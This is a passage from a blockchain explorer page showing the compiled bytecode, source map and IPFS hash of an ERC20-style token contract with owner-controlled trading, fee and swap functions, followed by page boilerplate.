7f163c4a11628f55a4df523b3ef610be58686610db9565b60405190815260200160405180910390a35050505050565b5f8184841115610c205760405162461bcd60e51b815260040161047f9190610fae565b505f610c2c8486611262565b95945050505050565b5f825f03610c4457505f6104b1565b5f610c4f8385611238565b905082610c5c8583611275565b14610cb35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047f565b9392505050565b5f610cb383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610dfa565b5f610d0582610e26565b6007546040516001600160a01b039091169047905f81818185875af1925050503d805f8114610d4f576040519150601f19603f3d011682016040523d82523d5f602084013e610d54565b606091505b5050505050565b5f80610d67838561124f565b905083811015610cb35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047f565b5f610cb383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bfd565b5f8183610e1a5760405162461bcd60e51b815260040161047f9190610fae565b505f610c2c8486611275565b6005805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e6c57610e6c611294565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610edc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f0091906112a8565b81600181518110610f1357610f13611294565b6001600160a01b039283166020918202929092010152600454610f399130911684610819565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610f709186915f91879130914291016112c3565b5f604051808303815f87803b158015610f87575f80fd5b505af1158015610f99573d5f803e3d5ffd5b50506005805460ff60a81b1916905550505050565b5f6020808352835180828501525f5b81811015610fd957858101830151858201604001528201610fbd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461100d575f80fd5b50565b5f8060408385031215611021575f80fd5b823561102c81610ff9565b946020939093013593505050565b5f6020828403121561104a575f80fd5b5035919050565b5f805f60608486031215611063575f80fd5b833561106e81610ff9565b9250602084013561107e81610ff9565b929592945050506040919091013590565b5f6020828403121561109f575f80fd5b8135610cb381610ff9565b5f80604083850312156110bb575f80fd5b50508035926020909101359150565b5f80604083850312156110db575f80fd5b82356110e681610ff9565b915060208301356110f681610ff9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561118457815f190482111561116a5761116a611136565b8085161561117757918102915b93841c939080029061114f565b509250929050565b5f8261119a575060016104b1565b816111a657505f6104b1565b81600181146111bc57600281146111c6576111e2565b60019150506104b1565b60ff8411156111d7576111d7611136565b50506001821b6104b1565b5060208310610133831016604e8410600b8410161715611205575081810a6104b1565b61120f838361114a565b805f190482111561122257611222611136565b029392505050565b5f610cb360ff84168361118c565b80820281158282048414176104b1576104b1611136565b808201808211156104b1576104b1611136565b818103818111156104b1576104b1611136565b5f8261128f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156112b8575f80fd5b8151610cb381610ff9565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156113115784516001600160a01b0316835293830193918301916001016112ec565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122050fd800e8f55e31a3b5b48aa53dbde7f6e040ebac33a0fa998657e5579f5390164736f6c63430008150033

Deployed Bytecode Sourcemap

3512:6871:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9184:108;;;;;;;;;;;;;:::i;:::-;;5160:83;;;;;;;;;;-1:-1:-1;5230:5:0;;;;;;;;;;;-1:-1:-1;;;5230:5:0;;;;5160:83;;;;5230:5;5160:83;:::i;:::-;;;;;;;;5993:161;;;;;;;;;;-1:-1:-1;5993:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5993:161:0;1023:187:1;5437:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5437:95:0;1215:177:1;7915:138:0;;;;;;;;;;;;;:::i;9560:156::-;;;;;;;;;;-1:-1:-1;9560:156:0;;;;;:::i;:::-;;:::i;6162:313::-;;;;;;;;;;-1:-1:-1;6162:313:0;;;;;:::i;:::-;;:::i;5346:83::-;;;;;;;;;;-1:-1:-1;5346:83:0;;4344:2;2185:36:1;;2173:2;2158:18;5346:83:0;2043:184:1;9734:97:0;;;;;;;;;;-1:-1:-1;9734:97:0;;;;;:::i;:::-;-1:-1:-1;;;;;9802:21:0;9781:4;9802:21;;;:18;:21;;;;;;;;;9734:97;3876:34;;;;;;;;;;-1:-1:-1;3876:34:0;;;;-1:-1:-1;;;3876:34:0;;;;;;8191:168;;;;;;;;;;-1:-1:-1;8191:168:0;;;;;:::i;:::-;;:::i;5540:119::-;;;;;;;;;;-1:-1:-1;5540:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5633:18:0;5606:7;5633:18;;;:9;:18;;;;;;;5540:119;3355:148;;;;;;;;;;;;;:::i;8563:126::-;;;;;;;;;;;;;:::i;4423:45::-;;;;;;;;;;;;;;;;3143:79;;;;;;;;;;-1:-1:-1;3181:7:0;3208:6;3143:79;;-1:-1:-1;;;;;3208:6:0;;;2630:51:1;;2618:2;2603:18;3143:79:0;2484:203:1;9404:113:0;;;;;;;;;;;;;:::i;9961:215::-;;;;;;;;;;-1:-1:-1;9961:215:0;;;;;:::i;:::-;;:::i;5667:167::-;;;;;;;;;;-1:-1:-1;5667:167:0;;;;;:::i;:::-;;:::i;5842:143::-;;;;;;;;;;-1:-1:-1;5842:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5950:18:0;;;5923:7;5950:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5842:143;4154:27;;;;;;;;;;;;;;;;4121:26;;;;;;;;;;;;;;;;9184:108;3270:6;;-1:-1:-1;;;;;3270:6:0;217:10;3270:22;3262:67;;;;-1:-1:-1;;;3262:67:0;;;;;;;:::i;:::-;;;;;;;;;9234:14:::1;:21:::0;;-1:-1:-1;;;;9266:18:0;-1:-1:-1;;;9266:18:0;;;9184:108::o;5993:161::-;6068:4;6085:39;217:10;6108:7;6117:6;6085:8;:39::i;:::-;-1:-1:-1;6142:4:0;5993:161;;;;;:::o;5437:95::-;5490:7;4398:13;4344:2;4398;:13;:::i;:::-;4388:23;;:7;:23;:::i;:::-;5510:14;;5437:95;:::o;7915:138::-;3270:6;;-1:-1:-1;;;;;3270:6:0;217:10;3270:22;3262:67;;;;-1:-1:-1;;;3262:67:0;;;;;;;:::i;:::-;4398:13:::1;4344:2;4398;:13;:::i;:::-;4388:23;::::0;:7:::1;:23;:::i;:::-;7981:10;:19:::0;8021:1:::1;8011:7;:11:::0;;;8033:8:::1;:12:::0;7915:138::o;9560:156::-;9614:4;9631:55;9649:10;9670:6;9679;9631:9;:55::i;:::-;-1:-1:-1;9704:4:0;;9560:156;-1:-1:-1;9560:156:0:o;6162:313::-;6260:4;6277:36;6287:6;6295:9;6306:6;6277:9;:36::i;:::-;6324:121;6333:6;217:10;6355:89;6393:6;6355:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6355:19:0;;;;;;:11;:19;;;;;;;;217:10;6355:33;;;;;;;;;;:37;:89::i;:::-;6324:8;:121::i;:::-;-1:-1:-1;6463:4:0;6162:313;;;;;:::o;8191:168::-;3270:6;;-1:-1:-1;;;;;3270:6:0;217:10;3270:22;3262:67;;;;-1:-1:-1;;;3262:67:0;;;;;;;:::i;:::-;8281:1:::1;8274:6;:8;8266:46;;;::::0;-1:-1:-1;;;8266:46:0;;5589:2:1;8266:46:0::1;::::0;::::1;5571:21:1::0;5628:2;5608:18;;;5601:30;5667:27;5647:18;;;5640:55;5712:18;;8266:46:0::1;5387:349:1::0;8266:46:0::1;8323:19;:28:::0;8191:168::o;3355:148::-;3270:6;;-1:-1:-1;;;;;3270:6:0;217:10;3270:22;3262:67;;;;-1:-1:-1;;;3262:67:0;;;;;;;:::i;:::-;3462:1:::1;3446:6:::0;;3425:40:::1;::::0;-1:-1:-1;;;;;3446:6:0;;::::1;::::0;3425:40:::1;::::0;3462:1;;3425:40:::1;3493:1;3476:19:::0;;-1:-1:-1;;;;;;3476:19:0::1;::::0;;3355:148::o;8563:126::-;3270:6;;-1:-1:-1;;;;;3270:6:0;217:10;3270:22;3262:67;;;;-1:-1:-1;;;3262:67:0;;;;;;;:::i;:::-;4398:13:::1;4344:2;4398;:13;:::i;:::-;4388:23;::::0;:7:::1;:23;:::i;:::-;8617:10;:19:::0;8657:1:::1;8647:7;:11:::0;;;8669:8:::1;:12:::0;8563:126::o;9404:113::-;3270:6;;-1:-1:-1;;;;;3270:6:0;217:10;3270:22;3262:67;;;;-1:-1:-1;;;3262:67:0;;;;;;;:::i;:::-;9470:6:::1;::::0;;-1:-1:-1;;;9470:6:0::1;-1:-1:-1::0;;;9470:6:0;;::::1;::::0;::::1;9469:7;9460:16;-1:-1:-1::0;;;;9460:16:0;::::1;::::0;::::1;9498:11:::0;;::::1;::::0;;::::1;9486:23;;::::0;;::::1;-1:-1:-1::0;;;;9486:23:0;;;-1:-1:-1;;;;9486:23:0;;;;;;;::::1;::::0;;9404:113::o;9961:215::-;3270:6;;-1:-1:-1;;;;;3270:6:0;217:10;3270:22;3262:67;;;;-1:-1:-1;;;3262:67:0;;;;;;;:::i;:::-;10045:3:::1;10038;:10;;10030:38;;;::::0;-1:-1:-1;;;10030:38:0;;5943:2:1;10030:38:0::1;::::0;::::1;5925:21:1::0;5982:2;5962:18;;;5955:30;-1:-1:-1;;;6001:18:1;;;5994:45;6056:18;;10030:38:0::1;5741:339:1::0;10030:38:0::1;10095:3;10087:4;:11;;10079:39;;;::::0;-1:-1:-1;;;10079:39:0;;5943:2:1;10079:39:0::1;::::0;::::1;5925:21:1::0;5982:2;5962:18;;;5955:30;-1:-1:-1;;;6001:18:1;;;5994:45;6056:18;;10079:39:0::1;5741:339:1::0;10079:39:0::1;10129:7;:13:::0;;;;10153:8:::1;:15:::0;9961:215::o;5667:167::-;5745:4;5762:42;217:10;5786:9;5797:6;5762:9;:42::i;6483:177::-;-1:-1:-1;;;;;6568:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6620:32;;1361:25:1;;;6620:32:0;;1334:18:1;6620:32:0;;;;;;;6483:177;;;:::o;6668:1239::-;6765:1;6756:6;:10;6748:64;;;;-1:-1:-1;;;6748:64:0;;6287:2:1;6748:64:0;;;6269:21:1;6326:2;6306:18;;;6299:30;6365:34;6345:18;;;6338:62;-1:-1:-1;;;6416:18:1;;;6409:39;6465:19;;6748:64:0;6085:405:1;6748:64:0;-1:-1:-1;;;;;6886:24:0;;6832:17;6886:24;;;:18;:24;;;;;;6832:17;;6886:24;;;:50;;-1:-1:-1;;;;;;6914:22:0;;;;;;:18;:22;;;;;;;;6886:50;6864:73;;6953:13;6948:598;;6991:14;;-1:-1:-1;;;6991:14:0;;;;6983:49;;;;-1:-1:-1;;;6983:49:0;;6697:2:1;6983:49:0;;;6679:21:1;6736:2;6716:18;;;6709:30;-1:-1:-1;;;6755:18:1;;;6748:52;6817:18;;6983:49:0;6495:346:1;6983:49:0;7059:13;;-1:-1:-1;;;;;7059:13:0;;;7051:21;;;;7047:196;;7127:10;;7117:6;7101:13;7111:2;-1:-1:-1;;;;;5633:18:0;5606:7;5633:18;;;:9;:18;;;;;;;5540:119;7101:13;:22;;;;:::i;:::-;:36;;7093:75;;;;-1:-1:-1;;;7093:75:0;;7178:2:1;7093:75:0;;;7160:21:1;7217:2;7197:18;;;7190:30;7256:28;7236:18;;;7229:56;7302:18;;7093:75:0;6976:350:1;7093:75:0;7199:28;7223:3;7199:19;7210:7;;7199:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;7187:40;;7047:196;7267:13;;-1:-1:-1;;;;;7267:13:0;;;7261:19;;;;7257:102;;7314:29;7339:3;7314:20;7325:8;;7314:6;:10;;:20;;;;:::i;:29::-;7302:41;;7257:102;7378:6;;-1:-1:-1;;;7378:6:0;;;;7377:7;:30;;;;-1:-1:-1;7394:13:0;;-1:-1:-1;;;;;7388:19:0;;;7394:13;;7388:19;7377:30;:45;;;;-1:-1:-1;7411:11:0;;-1:-1:-1;;;7411:11:0;;;;7377:45;:95;;;;-1:-1:-1;7453:19:0;;7444:4;5606:7;5633:18;;;:9;:18;;;;;;7426:46;7377:95;7373:162;;;7493:26;7499:19;;7493:5;:26::i;:::-;7559:13;;7556:168;;7632:4;7614:24;;;;:9;:24;;;;;;:39;;7643:9;7614:28;:39::i;:::-;7607:4;7589:24;;;;:9;:24;;;;;;;:64;;;;7673:39;;-1:-1:-1;;;;;7673:39:0;;;;;;;7702:9;1361:25:1;;1349:2;1334:18;;1215:177;7673:39:0;;;;;;;;7556:168;-1:-1:-1;;;;;7750:15:0;;;;;;:9;:15;;;;;;:27;;7770:6;7750:19;:27::i;:::-;-1:-1:-1;;;;;7734:15:0;;;;;;:9;:15;;;;;:43;7802:40;7820:21;:6;7831:9;7820:10;:21::i;:::-;-1:-1:-1;;;;;7802:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;7788:13:0;;;;;;;:9;:13;;;;;:54;;;;7858:41;;;7877:21;:6;7888:9;7877:10;:21::i;:::-;7858:41;;1361:25:1;;;1349:2;1334:18;7858:41:0;;;;;;;6737:1170;;6668:1239;;;:::o;595:190::-;681:7;717:12;709:6;;;;701:29;;;;-1:-1:-1;;;701:29:0;;;;;;;;:::i;:::-;-1:-1:-1;741:9:0;753:5;757:1;753;:5;:::i;:::-;741:17;595:190;-1:-1:-1;;;;;595:190:0:o;793:246::-;851:7;875:1;880;875:6;871:47;;-1:-1:-1;905:1:0;898:8;;871:47;928:9;940:5;944:1;940;:5;:::i;:::-;928:17;-1:-1:-1;973:1:0;964:5;968:1;928:17;964:5;:::i;:::-;:10;956:56;;;;-1:-1:-1;;;956:56:0;;7888:2:1;956:56:0;;;7870:21:1;7927:2;7907:18;;;7900:30;7966:34;7946:18;;;7939:62;-1:-1:-1;;;8017:18:1;;;8010:31;8058:19;;956:56:0;7686:397:1;956:56:0;1030:1;793:246;-1:-1:-1;;;793:246:0:o;1047:132::-;1105:7;1132:39;1136:1;1139;1132:39;;;;;;;;;;;;;;;;;:3;:39::i;8367:188::-;8417:12;8440:24;8457:6;8440:16;:24::i;:::-;8497:10;;8489:58;;-1:-1:-1;;;;;8497:10:0;;;;8521:21;;8489:58;;;;8521:21;8497:10;8489:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8367:188:0:o;264:179::-;322:7;;354:5;358:1;354;:5;:::i;:::-;342:17;;383:1;378;:6;;370:46;;;;-1:-1:-1;;;370:46:0;;8500:2:1;370:46:0;;;8482:21:1;8539:2;8519:18;;;8512:30;8578:29;8558:18;;;8551:57;8625:18;;370:46:0;8298:351:1;451:136:0;509:7;536:43;540:1;543;536:43;;;;;;;;;;;;;;;;;:3;:43::i;1187:189::-;1273:7;1308:12;1301:5;1293:28;;;;-1:-1:-1;;;1293:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1332:9:0;1344:5;1348:1;1344;:5;:::i;8695:483::-;4511:6;:13;;-1:-1:-1;;;;4511:13:0;-1:-1:-1;;;4511:13:0;;;8797:16:::1;::::0;;8811:1:::1;8797:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8797:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8797:16:0::1;8773:40;;8842:4;8824;8829:1;8824:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;8824:23:0::1;;;-1:-1:-1::0;;;;;8824:23:0::1;;;::::0;::::1;8868:15;;;;;;;;;-1:-1:-1::0;;;;;8868:15:0::1;-1:-1:-1::0;;;;;8868:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8858:4;8863:1;8858:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8858:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8933:15:::1;::::0;8901:62:::1;::::0;8918:4:::1;::::0;8933:15:::1;8951:11:::0;8901:8:::1;:62::i;:::-;8974:15;::::0;;:196:::1;::::0;-1:-1:-1;;;8974:196:0;;-1:-1:-1;;;;;8974:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9055:11;;8974:15:::1;::::0;9097:4;;9124::::1;::::0;9144:15:::1;::::0;8974:196:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4547:6:0;:14;;-1:-1:-1;;;;4547:14:0;;;-1:-1:-1;;;;8695:483:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:180::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;-1:-1:-1;1548:23:1;;1397:180;-1:-1:-1;1397:180:1:o;1582:456::-;1659:6;1667;1675;1728:2;1716:9;1707:7;1703:23;1699:32;1696:52;;;1744:1;1741;1734:12;1696:52;1783:9;1770:23;1802:31;1827:5;1802:31;:::i;:::-;1852:5;-1:-1:-1;1909:2:1;1894:18;;1881:32;1922:33;1881:32;1922:33;:::i;:::-;1582:456;;1974:7;;-1:-1:-1;;;2028:2:1;2013:18;;;;2000:32;;1582:456::o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:248::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;-1:-1:-1;;2860:23:1;;;2930:2;2915:18;;;2902:32;;-1:-1:-1;2692:248:1:o;2945:388::-;3013:6;3021;3074:2;3062:9;3053:7;3049:23;3045:32;3042:52;;;3090:1;3087;3080:12;3042:52;3129:9;3116:23;3148:31;3173:5;3148:31;:::i;:::-;3198:5;-1:-1:-1;3255:2:1;3240:18;;3227:32;3268:33;3227:32;3268:33;:::i;:::-;3320:7;3310:17;;;2945:388;;;;;:::o;3338:356::-;3540:2;3522:21;;;3559:18;;;3552:30;3618:34;3613:2;3598:18;;3591:62;3685:2;3670:18;;3338:356::o;3699:127::-;3760:10;3755:3;3751:20;3748:1;3741:31;3791:4;3788:1;3781:15;3815:4;3812:1;3805:15;3831:422;3920:1;3963:5;3920:1;3977:270;3998:7;3988:8;3985:21;3977:270;;;4057:4;4053:1;4049:6;4045:17;4039:4;4036:27;4033:53;;;4066:18;;:::i;:::-;4116:7;4106:8;4102:22;4099:55;;;4136:16;;;;4099:55;4215:22;;;;4175:15;;;;3977:270;;;3981:3;3831:422;;;;;:::o;4258:806::-;4307:5;4337:8;4327:80;;-1:-1:-1;4378:1:1;4392:5;;4327:80;4426:4;4416:76;;-1:-1:-1;4463:1:1;4477:5;;4416:76;4508:4;4526:1;4521:59;;;;4594:1;4589:130;;;;4501:218;;4521:59;4551:1;4542:10;;4565:5;;;4589:130;4626:3;4616:8;4613:17;4610:43;;;4633:18;;:::i;:::-;-1:-1:-1;;4689:1:1;4675:16;;4704:5;;4501:218;;4803:2;4793:8;4790:16;4784:3;4778:4;4775:13;4771:36;4765:2;4755:8;4752:16;4747:2;4741:4;4738:12;4734:35;4731:77;4728:159;;;-1:-1:-1;4840:19:1;;;4872:5;;4728:159;4919:34;4944:8;4938:4;4919:34;:::i;:::-;4989:6;4985:1;4981:6;4977:19;4968:7;4965:32;4962:58;;;5000:18;;:::i;:::-;5038:20;;4258:806;-1:-1:-1;;;4258:806:1:o;5069:140::-;5127:5;5156:47;5197:4;5187:8;5183:19;5177:4;5156:47;:::i;5214:168::-;5287:9;;;5318;;5335:15;;;5329:22;;5315:37;5305:71;;5356:18;;:::i;6846:125::-;6911:9;;;6932:10;;;6929:36;;;6945:18;;:::i;7331:128::-;7398:9;;;7419:11;;;7416:37;;;7433:18;;:::i;7464:217::-;7504:1;7530;7520:132;;7574:10;7569:3;7565:20;7562:1;7555:31;7609:4;7606:1;7599:15;7637:4;7634:1;7627:15;7520:132;-1:-1:-1;7666:9:1;;7464:217::o;8786:127::-;8847:10;8842:3;8838:20;8835:1;8828:31;8878:4;8875:1;8868:15;8902:4;8899:1;8892:15;8918:251;8988:6;9041:2;9029:9;9020:7;9016:23;9012:32;9009:52;;;9057:1;9054;9047:12;9009:52;9089:9;9083:16;9108:31;9133:5;9108:31;:::i;9174:980::-;9436:4;9484:3;9473:9;9469:19;9515:6;9504:9;9497:25;9541:2;9579:6;9574:2;9563:9;9559:18;9552:34;9622:3;9617:2;9606:9;9602:18;9595:31;9646:6;9681;9675:13;9712:6;9704;9697:22;9750:3;9739:9;9735:19;9728:26;;9789:2;9781:6;9777:15;9763:29;;9810:1;9820:195;9834:6;9831:1;9828:13;9820:195;;;9899:13;;-1:-1:-1;;;;;9895:39:1;9883:52;;9990:15;;;;9955:12;;;;9931:1;9849:9;9820:195;;;-1:-1:-1;;;;;;;10071:32:1;;;;10066:2;10051:18;;10044:60;-1:-1:-1;;;10135:3:1;10120:19;10113:35;10032:3;9174:980;-1:-1:-1;;;9174:980:1:o

Swarm Source

ipfs://50fd800e8f55e31a3b5b48aa53dbde7f6e040ebac33a0fa998657e5579f53901
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.